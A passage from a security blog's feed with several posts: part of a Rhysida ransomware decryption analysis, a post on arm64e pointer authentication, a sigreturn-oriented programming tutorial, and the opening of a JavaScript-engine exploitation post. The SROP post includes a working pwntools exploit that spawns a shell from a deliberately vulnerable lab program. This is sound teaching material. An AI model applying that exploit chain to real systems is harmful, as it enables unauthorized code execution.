<p>When a file is larger than the block size (more than <code>0x100000</code> bytes), the encryptor tries to fit in as many blocks as possible, up to a limit of 4. So if a file is bigger than one block but too small to hold two, Rhysida only encrypts the portion matching the first block and leaves the rest in clear. In the other case, if the file is large enough to comfortably hold all 4 blocks, Rhysida encrypts exactly the space taken by those 4 blocks and skips the gaps between them, leaving those untouched. The 4 blocks are spread across the entire length of the file, each separated by an equal-sized region that stays unencrypted.</p>
</div>
<p>See the diagram below.</p>
<p><img alt="Diagram of intermittent encryption: up to four encrypted blocks spread across the file with unencrypted gaps between them" src="28.png" loading="lazy" decoding="async" width="1350" height="722"></p>
<h5 id="c-pseudocode-summary-of-the-encryption-process">C pseudocode summary of the encryption process</h5>
<p>For a clearer picture of the process, here&rsquo;s a heavily simplified C pseudocode of these operations.</p>
<p>Generating the key and IV:</p>
<p><img alt="Simplified pseudocode generating the key and IV" src="29.png" loading="lazy" decoding="async" width="382" height="46"></p>
<p>Encrypting the key:</p>
<p><img alt="Simplified pseudocode encrypting the key with RSA" src="30.png" loading="lazy" decoding="async" width="241" height="209"></p>
<p>Writing the encrypted key:</p>
<p><img alt="Simplified pseudocode writing the encrypted key to the file" src="31.png" loading="lazy" decoding="async" width="501" height="17"></p>
<p>Encrypting the IV:</p>
<p><img alt="Simplified pseudocode encrypting the IV with RSA" src="32.png" loading="lazy" decoding="async" width="200" height="197"></p>
<p>Writing the encrypted IV:</p>
<p><img alt="Simplified pseudocode writing the encrypted IV to the file" src="33.png" loading="lazy" decoding="async" width="429" height="17"></p>
<p>Encrypting the file block by block:</p>
<p><img alt="Simplified pseudocode encrypting the file block by block" src="34.png" loading="lazy" decoding="async" width="408" height="332"></p>
<p>The program then renames the file by appending the <code>.rhysida</code> extension.</p>
<p><img alt="IDA: routine appending the .rhysida extension to the encrypted file" src="35.png" loading="lazy" decoding="async" width="383" height="17"></p>
<h3 id="ransom-note-and-end-of-execution">Ransom note and end of execution</h3>
<p>Once file encryption is done, the program deletes itself, but only if the attacker specified the <code>-sr</code> option at launch, as seen earlier in this write-up.</p>
<p><img alt="IDA: self-deletion routine triggered by the -sr option" src="36.png" loading="lazy" decoding="async" width="850" height="167"></p>
<p><img alt="IDA: continuation of the self-deletion routine" src="37.png" loading="lazy" decoding="async" width="246" height="76"></p>
<p>As encryption progresses, ransom notes in PDF format are dropped into each encrypted directory. When encryption finishes, the program updates the Windows wallpaper, replacing it with a ransom note as well, via the <code>setBG</code> function. Since this process isn&rsquo;t essential to our analysis, we won&rsquo;t go into the details.</p>
<h2 id="the-vulnerability-and-decryption">The vulnerability and decryption</h2>
<p>The C version of Rhysida has a vulnerability that lets us decrypt the victim&rsquo;s files with no prior knowledge of the key, and with no special requirement beyond access to the victim&rsquo;s machine or the encrypted files.</p>
<h3 id="explaining-the-vulnerability">Explaining the vulnerability</h3>
<p>Every bit of randomness in the encryptor comes from a single source, initialized by <code>srand</code> with a seed, which here is the timestamp. Using a timestamp as the seed for random generation in a cryptographic context completely undermines the resulting crypto chain and makes the encryption void and reversible.</p>
<p>The reason is that the keys and IVs the program generates for each file all derive from <code>rand</code>, which itself relies on the value handed to <code>srand</code>. If you call <code>rand</code> several times in a row while always passing the same value to <code>srand</code>, you&rsquo;ll always get the same sequence back.</p>
<p>Here&rsquo;s an example in C pseudocode:</p>
<pre><code class="language-c">srand(5);
rand(); // generated value: 42
rand(); // generated value: 77
rand(); // generated value: 92
rand(); // generated value: 8
...
</code></pre>
<p>Run this code several times in a row and the <code>rand</code> calls produce the same values every time. Knowing the value passed to <code>srand</code>, the seed, lets you predict every random value the program generates, including the encryption keys and IVs. And all we need to recover that value is the timestamp, even an approximate one, of when the victim&rsquo;s files were encrypted.</p>
<h3 id="the-decryption-process">The decryption process</h3>
<p>The decryptor works like this:</p>
<p>Generate a table of keys and IVs using the timestamp as the seed, for each file and each thread, accounting for the number of logical processors. we have to assume any processor could have generated the key for any thread, so we generate enough keys and IVs to cover every possibility across all files.</p>
<p>Encrypt the generated keys with the RSA public key pulled from the executable, the same way Rhysida does.</p>
<p>Compare that encrypted key against the value stored at the end of the encrypted file, which (as a reminder) is the encrypted key Rhysida stored there. If the values match, we&rsquo;ve found the right key.</p>
<p>Decrypt the file with the recovered key. we only need to find the correct key for a single file to automatically decrypt all the others, because successfully decrypting one file means we have the right timestamp as the RNG seed. From there it&rsquo;s just a matter of testing each key in our table against the file we want to decrypt.</p>
<p>If we don&rsquo;t know the exact timestamp, we can start from an approximate one and sweep a time window around it, decrypting part of a file each time until I land on the exact timestamp.</p>
<h3 id="whats-needed-for-decryption">What&rsquo;s needed for decryption</h3>
<p>To decrypt a victim, we need the following:</p>
<ul>
<li>The strain that infected the victim, since we need the RSA public key it contains.</li>
<li>The exact encryption timestamp.</li>
</ul>
<p>OR</p>
<ul>
<li>
<p>An approximate timestamp plus an encrypted file of known extension and type whose header we can guess (<code>.pdf</code>, <code>.docx</code>, etc.).</p>
</li>
<li>
<p>The approximate number of encrypted files, or an order of magnitude, in order to generate the key and IV table. This number must be greater than or equal to the number of encrypted files, never less.</p>
</li>
<li>
<p>The number of logical processors on the encrypted machine.</p>
</li>
</ul>
<p>In practice, the processor count and the number of encrypted files are easy to guess. The timestamp is the key piece.</p>
<h3 id="special-cases">Special cases</h3>
<p>The PowerShell version of Rhysida we analyzed is not vulnerable to this decryption.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Over the course of this work, dozens of victims around the world had their files recovered and their data saved, without ever paying a ransom. For an organization hit by Rhysida, that&rsquo;s often the difference between a survivable incident and a catastrophic one.</p>
<p>I was, in a professional capacity, the first to build a working decryptor for this ransomware, back in May 2023, just weeks after Rhysida first surfaced. The catch is that this work was bound by confidentiality, and I wasn&rsquo;t in a position to disclose any of it until now. The public research that later emerged, and the decryptors built on it, arrived independently and confirmed the same underlying flaw.</p>
<p>I&rsquo;ve made a deliberate choice not to publish my full decryptor in this post. The vulnerability is now well documented, and free decryptors built by other parties are already available to victims through <a href="https://www.nomoreransom.org">nomoreransom.org</a>, a joint initiative between law enforcement and the security industry. Anyone affected by Rhysida should start there. My goal with this write-up is to walk through the analysis and the reasoning behind the break, not to hand out another tool.</p>]]></description>
    </item>
    <item>
      <title>Pointer authentication: why arbitrary read/write isn&#x27;t game over on arm64e</title>
      <link>https://sigreturn.com/blog/pointer-authentication-arm64e/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/pointer-authentication-arm64e/</guid>
      <pubDate>Fri, 05 Jun 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Vulnerability Research</category>
      <category>arm64</category>
      <category>pac</category>
      <category>ios</category>
      <category>apple</category>
      <category>exploitation</category>
      <category>mitigations</category>
      <description><![CDATA[<p>If you read the <a href="/blog/exploiting-javascript-engines/">JavaScript engine post</a>, you know how it ends: one memory bug becomes a type confusion, the type confusion becomes arbitrary read and write, and for years that was effectively the end of the fight. With read/write you would map an RWX page, drop shellcode in it, point some function pointer at it, and call it. The mitigations chipped away at that last step (W^X took the RWX page away), but the <em>shape</em> of the finish never changed: overwrite a pointer the program will later call, and you own the program counter.</p>
<p>Pointer authentication breaks that shape. On Apple&rsquo;s arm64e it is the single biggest reason a clean arbitrary read/write is no longer game over. This post is about how it works, what Apple signs with it, and why a leak alone cannot forge the one thing you need.</p>
<div class="admonition note">
<p>Everything here is public: the ARMv8.3-A architecture, Apple&rsquo;s documented arm64e ABI, and the named bypass classes at the end. There is no exploit and no bypass chain in this article.</p>
</div>
<h2 id="the-spare-bits-of-a-pointer">The spare bits of a pointer</h2>
<p>A 64-bit pointer is mostly empty space. AArch64 virtual addresses are far narrower than the register that holds them: a typical configuration only translates the bottom 39 to 48 bits, so the top of every pointer goes unused. Top-byte-ignore (TBI) frees the highest 8 bits as well, letting software stash a tag there that the MMU quietly discards. PAC moves into exactly this dead space.</p>
<p>Sign a pointer and the processor computes a short message authentication code over the address and writes it into those unused bits, split into two fields that straddle bit 55:</p>
<pre><code> 63        56 55 54                          VA region            0
+-----------+--+-----------------------------+----------------------+
|  PAC hi   |  |            PAC lo           |   virtual address    |
+-----------+--+-----------------------------+----------------------+
             ^
             bit 55 selects TTBR0 (user) / TTBR1 (kernel), preserved
</code></pre>
<p>The signature has to dodge bit 55, the bit that selects whether the pointer lives in the user half or the kernel half of the address space, because that bit must survive intact. What&rsquo;s left is small: depending on the virtual-address size and whether TBI is on, the PAC is on the order of a dozen to a few dozen bits, roughly 16 in a common userland configuration. Keep that smallness in mind; it comes back at the end.</p>
<h2 id="sign-and-authenticate">Sign and authenticate</h2>
<p>Two operations bracket the life of an authenticated pointer. To <strong>sign</strong>, a <code>PAC*</code> instruction takes a pointer and a 64-bit <em>modifier</em> and fills in the PAC field:</p>
<pre><code class="language-asm">; sign the pointer in x0 with key IA, using x1 as the modifier
pacia   x0, x1
</code></pre>
<p>To <strong>use</strong> the pointer you first <strong>authenticate</strong> it. <code>AUT*</code> recomputes the MAC from the current address and the modifier, and if it matches the PAC field, strips it back to a clean, dereferenceable pointer:</p>
<pre><code class="language-asm">; authenticate x0 with key IA and modifier x1; on success x0 is usable
autia   x0, x1
</code></pre>
<p>What happens on <em>failure</em> is the whole game. In the original ARMv8.3 design the authentication does not fault. Instead it deliberately corrupts the high bits so the pointer becomes non-canonical, and the <em>next</em> dereference takes a translation fault. ARMv8.6 added <strong>FPAC</strong>, which faults at the <code>AUT</code> instruction itself, turning a silently poisoned pointer into an immediate, precise crash; Apple&rsquo;s newer cores implement it.</p>
<p>A few variants matter in practice. <code>XPACI</code>/<code>XPACD</code> strip a PAC <em>without</em> checking it, for when software just wants the bare address. <code>PACGA</code> is the odd one out: it doesn&rsquo;t sign a pointer at all, it computes a 32-bit generic MAC over two registers, meant for protecting arbitrary data rather than addresses. And because return addresses are everywhere, the ISA bakes in fused forms. <code>PACIASP</code>/<code>AUTIASP</code> sign and authenticate the link register using the stack pointer as the modifier, and <code>RETAA</code>, <code>BLRAA</code>, <code>BRAA</code>, <code>LDRAA</code> authenticate-and-then-act in a single instruction. A protected function looks like this:</p>
<pre><code class="language-asm">func:
    paciasp                     ; sign LR, modifier = SP
    stp     x29, x30, [sp, #-16]!
    ; ... body ...
    ldp     x29, x30, [sp], #16
    retaa                       ; authenticate LR against SP, then return
</code></pre>
<p>Smash the saved return address on the stack and <code>retaa</code> will refuse to honor it. The classic stack-based control-flow hijack is dead on arrival.</p>
<h2 id="keys-and-the-modifier">Keys and the modifier</h2>
<p>Five keys feed these instructions, each 128 bits: two for instruction pointers (<strong>IA</strong>, <strong>IB</strong>), two for data pointers (<strong>DA</strong>, <strong>DB</strong>), and one generic key (<strong>GA</strong>) for <code>PACGA</code>. They live in system registers that ordinary code cannot read. Crucially, <em>even code with arbitrary read/write of its own address space cannot reach them</em>, because they are not mapped memory. The key material is established at boot and per process, and it is the one secret the whole scheme rests on.</p>
<p>The second ingredient is the <strong>modifier</strong>, the 64-bit value you saw as the second operand. The PAC is a function of <em>(key, pointer value, modifier)</em>, so the same address signed with two different modifiers yields two different signatures. This is what turns PAC from a single global checksum into something useful: each <em>kind</em> of pointer, and often each <em>site</em>, is signed with a different modifier, so a signature minted in one place is worthless in another. The choices are deliberate:</p>
<ul>
<li><strong>Return addresses</strong> use the stack pointer as the modifier, so a return address signed for one frame won&rsquo;t authenticate against another.</li>
<li><strong>C++ vtable pointers and entries</strong> use a discriminator derived from the type and the storage location, so you can&rsquo;t lift a vtable pointer off one object and graft it onto a different class.</li>
<li><strong>Objective-C <code>isa</code> pointers</strong> mix in an address-based discriminator for the same reason.</li>
</ul>
<p>Underneath, the MAC is a truncated <strong>QARMA</strong>, a lightweight tweakable block cipher, with the key as the key, the pointer as the input, and the modifier as the tweak. The cipher&rsquo;s internals don&rsquo;t matter here. What matters is the binding: change the address, the key, or the context, and the signature no longer checks out.</p>
<h2 id="what-apple-signs-on-arm64e">What Apple signs on arm64e</h2>
<p>arm64e is Apple&rsquo;s PAC-hardened ABI, shipping on every device since the A12 (2018). It doesn&rsquo;t protect one pointer type. It signs essentially everything an attacker would historically overwrite to hijack control flow:</p>
<ul>
<li><strong>Return addresses</strong>, in every non-leaf function&rsquo;s prologue and epilogue.</li>
<li><strong>Function pointers</strong> stored in memory.</li>
<li><strong>C++ virtual table pointers and their entries.</strong></li>
<li><strong>Objective-C <code>isa</code> pointers and method-cache entries</strong>, the dispatch path every Objective-C call travels.</li>
<li><strong>Block invoke pointers, Swift metadata, and the JIT&rsquo;s own code pointers.</strong></li>
</ul>
<p>The rule that falls out is blunt: a generic memory write no longer produces a pointer the CPU will branch to. You can corrupt the value all you like, but the instant something authenticates it, it dies.</p>
<h2 id="back-to-the-browser-chain">Back to the browser chain</h2>
<p>Now reconnect this to where the JavaScript-engine post left off. You hold arbitrary read and write inside the renderer. You go to overwrite a function pointer (a vtable entry, a JIT code pointer) with the address of your gadget or your shellcode. On arm64e that pointer is signed. For your forged value to survive authentication you would have to compute its PAC, and to do that you need the key. The key isn&rsquo;t in memory you can read; it&rsquo;s in a system register. The primitive that used to <em>end</em> the exploit, arbitrary read/write, doesn&rsquo;t hand you the one secret you need.</p>
<p>That is the concrete form of the asymmetry the previous post described. Triggering the bug is the easy afternoon&rsquo;s work. Turning a clean read/write into a <em>validly signed</em> code pointer on a current iPhone is the part that is genuinely hard.</p>
<h2 id="why-it-isnt-absolute">Why it isn&rsquo;t absolute</h2>
<p>PAC raises the cost; it doesn&rsquo;t make exploitation impossible, and treating it as a hard wall is a mistake. Without walking through any of them, the shapes attackers reach for are well documented:</p>
<ul>
<li><strong>The PAC is short.</strong> A field on the order of 16 bits is, in isolation, guessable. What protects it is that a wrong guess crashes the process, so the real question is whether you can guess <em>without</em> crashing.</li>
<li><strong>Signing oracles and signing gadgets.</strong> If you can coax the process into signing a pointer you influence (an oracle), or reach existing code that signs attacker-controlled data (a gadget), you borrow the key without ever reading it.</li>
<li><strong>Reuse and replay.</strong> When the modifier isn&rsquo;t unique enough, a validly signed pointer can be copied to a place where the same key and modifier apply, a cross-context confusion that needs no forgery at all.</li>
<li><strong>PACMAN.</strong> The 2022 result from MIT used a speculative-execution side channel to test PAC guesses <em>speculatively</em>, so a wrong guess no longer crashed the process, defeating exactly the property the short PAC leaned on.</li>
</ul>
<p>And none of this touches the kernel, which signs its own pointers with PAC too (alongside related mitigations like PPL), or the sandbox you are still trapped behind after the renderer falls.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Pointer authentication doesn&rsquo;t fix a single bug. The type confusion still happens, the read/write is still real. What PAC removes is the cheap, mechanical step that used to connect them to a program counter you control: forge a pointer, get it called, win. By binding every interesting pointer to a key you can&rsquo;t reach and a context you can&rsquo;t reuse, it pushes the attacker off the easy path and onto the narrow, fragile ones: oracles, gadgets, reuse, speculation. The work doesn&rsquo;t vanish; it gets multiplied. That multiplication, a simple memory bug now wrapped in a problem with no obvious cheap solution, is, once again, exactly what makes a modern target interesting.</p>
<div class="admonition tip">
<p>This post picks up where <a href="/blog/exploiting-javascript-engines/">Exploiting JavaScript engines</a> left off: the same chain, seen from the mitigation that ends it.</p>
</div>]]></description>
    </item>
    <item>
      <title>Sigreturn-oriented programming</title>
      <link>https://sigreturn.com/blog/sigreturn-oriented-programming/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/sigreturn-oriented-programming/</guid>
      <pubDate>Thu, 04 Jun 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Vulnerability Research</category>
      <category>exploitation</category>
      <category>linux</category>
      <category>x86-64</category>
      <category>rop</category>
      <category>syscall</category>
      <description><![CDATA[<p>Say you have a clean stack buffer overflow on a 64-bit Linux binary and you want a shell. The goal is an <code>execve("/bin/sh", NULL, NULL)</code>, which means getting <code>rax</code> to 59, <code>rdi</code> to a pointer to the string, <code>rsi</code> and <code>rdx</code> to zero, and then a <code>syscall</code>. Classic return-oriented programming gets you there one register at a time: a <code>pop rdi ; ret</code> here, a <code>pop rsi ; ret</code> there, hunting the binary for a gadget per argument. It works, but it is fiddly, and a stripped static binary may simply not contain the gadgets you want.</p>
<p>There is a shortcut, and it is almost unfair. The kernel already ships a routine whose entire job is to load every general-purpose register, plus <code>rip</code> and <code>rsp</code>, from values sitting on the stack. It does this in one syscall, it trusts the stack completely, and it never checks who put those values there. That routine is <code>sigreturn</code>, and bending it to our purposes is sigreturn-oriented programming. It is also, as it happens, the syscall this company is named after.</p>
<h2 id="how-a-signal-leaves-the-kernel">How a signal leaves the kernel</h2>
<p>To see why <code>sigreturn</code> exists, follow what happens when a process receives a signal it has a handler for.</p>
<p>The kernel cannot just call the handler and hope the process picks up where it left off afterwards. The signal can interrupt user code at any instruction, so before transferring control the kernel has to save the entire CPU state: every general-purpose register, the instruction pointer, the stack pointer, the flags, and the floating-point state. It saves all of that into a structure called a signal frame, and it pushes that frame onto the user stack. Then it points <code>rip</code> at the handler and lets it run.</p>
<p>When the handler returns, execution does not go back to the interrupted code directly. Instead it returns into a tiny trampoline the kernel arranged for, which does nothing but invoke the <code>sigreturn</code> syscall. On x86-64 that trampoline is essentially:</p>
<pre><code class="language-asm">mov rax, 15      ; __NR_rt_sigreturn
syscall
</code></pre>
<p><code>sigreturn</code> is the other half of the dance. It takes the signal frame the kernel left on the stack, copies every saved value back into the corresponding register, and resumes the interrupted code exactly where it was. The whole point of the syscall is to restore a full register context from memory.</p>
<div class="admonition note">
<p>On x86-64 the relevant call is <code>rt_sigreturn</code>, syscall number 15, and the frame is an <code>rt_sigframe</code> wrapping a <code>ucontext</code>. On 32-bit x86 there is also a plain <code>sigreturn</code> at number 119 (0x77). The idea is identical on both. We use x86-64 below and come back to the 32-bit case at the end.</p>
</div>
<p>The detail that matters for us is what <code>sigreturn</code> does <em>not</em> do. It does not verify that the frame it reads was written by the kernel. It does not check a cookie, a signature, or where the stack pointer is. It reads the frame at the current stack pointer and restores from it, unconditionally. The kernel assumes that if <code>sigreturn</code> is being called, it is because the kernel itself set this up a moment earlier.</p>
<h2 id="the-abuse">The abuse</h2>
<p>That assumption is the whole vulnerability. If we control the contents of the stack and we can make the program call <code>sigreturn</code> with the stack pointer aimed at memory we wrote, then the kernel will happily restore every register from a frame we forged.</p>
<p>A forged frame gives us, in one step, what a long ROP chain gives us gadget by gadget: arbitrary values in <code>rax</code>, <code>rdi</code>, <code>rsi</code>, <code>rdx</code>, the rest of the general-purpose registers, and <code>rip</code>. We get to pick where execution goes next and what every argument register holds when it gets there. The technique was formalized by Bosman and Bos in their 2014 paper &ldquo;Framing Signals&rdquo;, which showed how general and how portable it is.</p>
<p>To pull it off we need three things:</p>
<ul>
<li><strong>Control of the stack contents</strong>, so we can place the fake frame. A straightforward overflow gives us this.</li>
<li><strong>A way to invoke <code>sigreturn</code></strong>, which means getting <code>rax</code> to 15 and reaching a <code>syscall</code> instruction. In practice that is a small two-gadget step: something like <code>pop rax ; ret</code> to load the number, then a <code>syscall</code> instruction to fire it.</li>
<li><strong>A known address for any data we reference</strong>, such as the <code>/bin/sh</code> string we want <code>rdi</code> to point at. A static, non-PIE binary makes this easy because addresses are fixed and glibc already carries the string <code>/bin/sh</code> for its own use.</li>
</ul>
<p>That is the entire shopping list. Notice it is short, and notice that none of it depends on the binary containing the exact <code>pop rdi</code> / <code>pop rsi</code> / <code>pop rdx</code> gadgets a conventional chain would need. A single <code>syscall</code> instruction and a way to set <code>rax</code> are enough to set up <em>any</em> syscall with <em>any</em> arguments. That generality is what makes the technique worth knowing.</p>
<h2 id="a-worked-example">A worked example</h2>
<p>Let us build the smallest thing that demonstrates it. Here is a deliberately vulnerable program: it reads far more bytes than the buffer holds, straight into the stack.</p>
<pre><code class="language-c">#include &lt;unistd.h&gt;

void vuln(void)
{
    char buf[64];
    read(0, buf, 1024);
}

int main(void)
{
    vuln();
    return 0;
}
</code></pre>
<p>We compile it static and non-PIE, with the stack canary off, so the mechanism is not buried under mitigations we are not studying here.</p>
<pre><code class="language-bash">gcc vuln.c -o vuln -static -no-pie -fno-stack-protector
</code></pre>
<p>A quick look confirms what we are working with: no canary to leak, no PIE so addresses are fixed, and a static binary that drags all of glibc in with it (which means plenty of <code>syscall</code> instructions and the <code>/bin/sh</code> string are present).</p>
<pre><code>$ checksec --file=vuln
RELRO      STACK CANARY    NX      PIE
Partial    No canary       NX      No PIE
</code></pre>
<p>We need exactly two gadgets and one string. Rather than copy addresses by hand, we let pwntools find them by searching the binary&rsquo;s own bytes:</p>
<ul>
<li><code>pop rax ; ret</code> to load the syscall number,</li>
<li><code>syscall ; ret</code> to fire the syscall,</li>
<li>the <code>/bin/sh</code> string already living in glibc.</li>
</ul>
<p>The plan on the stack, top to bottom, is: padding up to the saved return address, then <code>pop rax ; ret</code> followed by <code>15</code> to select <code>rt_sigreturn</code>, then the <code>syscall</code> gadget to invoke it, and finally the forged signal frame the kernel will restore from. We fill that frame to call <code>execve("/bin/sh", NULL, NULL)</code>, sending control to the same <code>syscall</code> gadget once the registers are in place.</p>
<pre><code class="language-python">from pwn import *

context.binary = elf = ELF('./vuln')

pop_rax     = next(elf.search(asm('pop rax; ret')))
syscall_ret = next(elf.search(asm('syscall; ret')))
binsh       = next(elf.search(b'/bin/sh\x00'))

# The frame the kernel will restore: a ready-made execve(&quot;/bin/sh&quot;, 0, 0)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve   # 59
frame.rdi = binsh                  # &quot;/bin/sh&quot;
frame.rsi = 0                      # argv = NULL
frame.rdx = 0                      # envp = NULL
frame.rip = syscall_ret            # run the execve syscall once registers are set

payload  = b'A' * 72               # 64-byte buffer + saved rbp
payload += p64(pop_rax)            # rax = 15 ...
payload += p64(15)                 #   ... __NR_rt_sigreturn
payload += p64(syscall_ret)        # syscall -&gt; rt_sigreturn restores our frame
payload += bytes(frame)            # the forged frame itself

p = process('./vuln')
p.send(payload)
p.interactive()
</code></pre>
<p>Walking the chain as the CPU sees it: <code>vuln</code> returns into <code>pop rax ; ret</code>, which loads <code>15</code> and returns into the <code>syscall</code> gadget. That <code>syscall</code> is <code>rt_sigreturn</code>, so the kernel reads the frame we placed right after it and restores every register from it. Now <code>rax</code> is 59, <code>rdi</code> points at <code>/bin/sh</code>, <code>rsi</code> and <code>rdx</code> are zero, and <code>rip</code> is our <code>syscall</code> gadget again. The very next instruction is therefore <code>execve("/bin/sh", NULL, NULL)</code>.</p>
<pre><code>$ python3 exploit.py
[*] '/home/lab/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './vuln': pid 4711
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
$ exit
</code></pre>
<p>One overflow, two gadgets, one forged frame, and a shell. We never needed a gadget per argument.</p>
<div class="admonition tip">
<p>The one piece of data we leaned on was a known address for <code>/bin/sh</code>. When the binary does not contain the string, or when PIE moves everything around, the usual move is to write the string yourself first: chain an initial <code>read</code> syscall (set up the same SROP way) to drop <code>/bin/sh</code> into a known writable address such as the <code>.bss</code>, then point the second frame&rsquo;s <code>rdi</code> at it.</p>
</div>
<h2 id="finding-the-pieces-in-practice">Finding the pieces in practice</h2>
<p>The example handed us fixed addresses and a fat static binary. Real targets are stingier, so it helps to know where the moving parts actually come from.</p>
<p>The <code>syscall</code> instruction is rarely a problem. Anything linked against libc has many, and a static binary has them everywhere. The real question is usually how to get the syscall number into <code>rax</code> without a convenient <code>pop rax</code>. There are several answers depending on the binary: a <code>read</code> that lands a controlled byte in the right place, an arithmetic gadget, or chaining through a function that returns a known value into <code>rax</code>.</p>
<p>32-bit x86 deserves a special mention, because it is where SROP often looks its cleanest. The kernel&rsquo;s signal trampoline lives in the vDSO, a small shared object the kernel maps into every process, exported as <code>__kernel_sigreturn</code>. Disassembled, it is almost a gift:</p>
<pre><code>__kernel_sigreturn:
    pop    eax
    mov    eax, 0x77
    int    0x80
</code></pre>
<p>That is a single gadget that <em>is</em> a call to <code>sigreturn</code>. It loads <code>eax</code> with 0x77 (the 32-bit <code>sigreturn</code> number) on its own and fires the interrupt, so you do not even need a separate step to set the syscall number. Point execution at it with a forged frame waiting on the stack and the restore happens. The vDSO is at a known-ish location and contains exactly the instruction you need. It is a recurring reason the technique is so comfortable on 32-bit.</p>
<div class="admonition warning">
<p>None of this survives contact with every mitigation, and that is by design. A stack canary stops the overflow before the return address. Full ASLR and PIE take away the fixed addresses the frame and the <code>/bin/sh</code> pointer rely on, so SROP in the wild is usually paired with an information leak first. The technique controls registers, it does not conjure addresses.</p>
</div>
<h2 id="why-we-care">Why we care</h2>
<p>Step back and the appeal is obvious. Conventional ROP treats the binary as a quarry and makes you mine one gadget per register. SROP treats a single, always-present kernel routine as a universal register-loading primitive. One <code>syscall</code> instruction, one way to set <code>rax</code>, and a stretch of stack you control are enough to set up any syscall you like with fully controlled arguments. The same forged frame tends to work across different binaries that share the same flaw, because it leans on the kernel&rsquo;s ABI rather than on any one program&rsquo;s gadgets.</p>
<p>A whole class of exploitation collapses into &ldquo;write the registers you want onto the stack and let the kernel install them for you.&rdquo; That elegance, a signal-handling convenience quietly turned into an exploitation primitive, is exactly the kind of thing we find worth naming a company after.</p>]]></description>
    </item>
    <item>
      <title>Exploiting JavaScript engines: from type confusion to code execution</title>
      <link>https://sigreturn.com/blog/exploiting-javascript-engines/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/exploiting-javascript-engines/</guid>
      <pubDate>Thu, 04 Jun 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Vulnerability Research</category>
      <category>browser</category>
      <category>javascript</category>
      <category>exploitation</category>
      <category>webkit</category>
      <category>v8</category>
      <description><![CDATA[<p>A modern browser is close to a small operating system. It parses untrusted markup, decodes media, runs a multi-million-line JIT compiler, and executes arbitrary code from any site the moment a tab opens. That makes the JavaScript engine one of the most valuable remote attack surfaces in existence: a single bug in it runs adversary-controlled script with the full power of a native optimizing compiler behind it.</p>
<p>What is striking, once you have done it a couple of times, is how <em>uniform</em> the exploitation is. The engines differ in the details of how they encode a value or lay out an object, but the path from a memory bug to a shell is almost always the same four rungs: a type confusion, the <code>addrof</code> and <code>fakeobj</code> primitives, an arbitrary read/write, and finally code execution. Learn the ladder once and you can read almost any engine writeup. We build it here from the ground up on JavaScriptCore (WebKit) and V8 (Chrome), and then look at why, on a current iPhone, landing the bug is the easy part.</p>
<div class="admonition note">
<p>This is the written and generalized version of a talk I gave, in French, at Quarks in the Shell 2023. The original recording is on the <a href="/blog/javascript-engine-exploitation-methodology/">talk post</a>. Everything here is public methodology. There is no exploit and no engine 0day in this article.</p>
</div>
<h2 id="why-the-javascript-engine">Why the JavaScript engine</h2>
<p>A browser is not one program, it is a pile of them: an HTML and CSS engine, the DOM, a network stack, image and font decoders, and the JavaScript engine sitting in the middle of it all. Any of those is attack surface, but the JavaScript engine is special because the attacker gets to <em>run code</em> there directly, with loops, objects, and timing, rather than coaxing a parser into misbehaving from the outside.</p>
<p>We focus on the two engines that matter most in practice. JavaScriptCore (JSC) is WebKit&rsquo;s engine, written mostly in C++, shipping not only in Safari but in anything that embeds WebKit, from game consoles to embedded dashboards. V8 is Chrome&rsquo;s engine, used by Blink (which descends from WebKit&rsquo;s WebCore) and by Node. SpiderMonkey, Firefox&rsquo;s engine, follows the same shapes. Because the engines borrowed each other&rsquo;s design, the techniques port between them with only cosmetic changes.</p>
<h2 id="how-values-live-in-memory">How values live in memory</h2>
<p>Before corrupting anything, we have to know what the raw 64-bit words we will be reading actually mean. Both engines pack every JavaScript value into a machine word, and both do it in a way that lets them tell a pointer from a number without an extra tag byte.</p>
<p>JSC uses <strong>NaN-boxing</strong>. A <code>JSValue</code> is 64 bits, and the encoding exploits the fact that IEEE-754 doubles have a huge range of bit patterns that are all &ldquo;NaN&rdquo;. Roughly:</p>
<ul>
<li>A <strong>pointer</strong> to a heap object (a &ldquo;cell&rdquo;) is stored as-is. On 64-bit, valid pointers have their top 16 bits clear, so a small value at the top of the word means &ldquo;this is a pointer&rdquo;.</li>
<li>An <strong>int32</strong> is stored with a tag in the high bits, as <code>0xFFFE000000000000 | value</code>.</li>
<li>A <strong>double</strong> is stored with a constant offset of <code>2^49</code> added to its bit pattern, so that every real double lands in a band (top 16 bits between <code>0x0002</code> and <code>0xFFFC</code>) that never collides with the pointer or integer encodings.</li>
</ul>
<p>A consequence we will lean on: the encoded value <code>0x0</code> does not mean the number zero. It is the special &ldquo;empty&rdquo; value. The number zero is a double or a tagged integer with its own encoding. So when we read raw memory, a bare zero word is almost never a JavaScript <code>0</code>. <code>null</code>, <code>true</code>, <code>false</code>, and <code>undefined</code> likewise have their own small fixed encodings.</p>
<p>V8 takes a different route. Small integers (<strong>SMIs</strong>) are tagged by their low bit, heap object pointers carry a different low-bit tag, and on 64-bit builds V8 uses <strong>pointer compression</strong>: the high 32 bits of every heap pointer in a given heap are constant, so they are kept once in a base register (the isolate root) and only the low 32 bits are stored in memory. To dereference a compressed pointer you take the stored 32-bit half and add the base from the register. JSC has its own constraint in the same spirit, the <strong>gigacage</strong>, which confines certain backing stores to a reserved region so a stray pointer cannot reach arbitrary memory. We will not need its internals here, only the awareness that it exists.</p>
<h2 id="the-object-model-and-the-butterfly">The object model and the butterfly</h2>
<p>Now the object layout, because that is what we corrupt. Take an ordinary object in JSC. It begins with a <strong>structure ID</strong>, a number that names the object&rsquo;s <em>shape</em>: which properties it has, in which order, of which types. Every object that shares a shape shares a structure ID, and the engine reuses it. Add a property, reorder them, or change a type, and the engine mints a new structure for the new shape. Structure IDs used to be handed out linearly, which made them predictable. Modern JSC throws in a few random bits, so you can no longer guess the next one.</p>
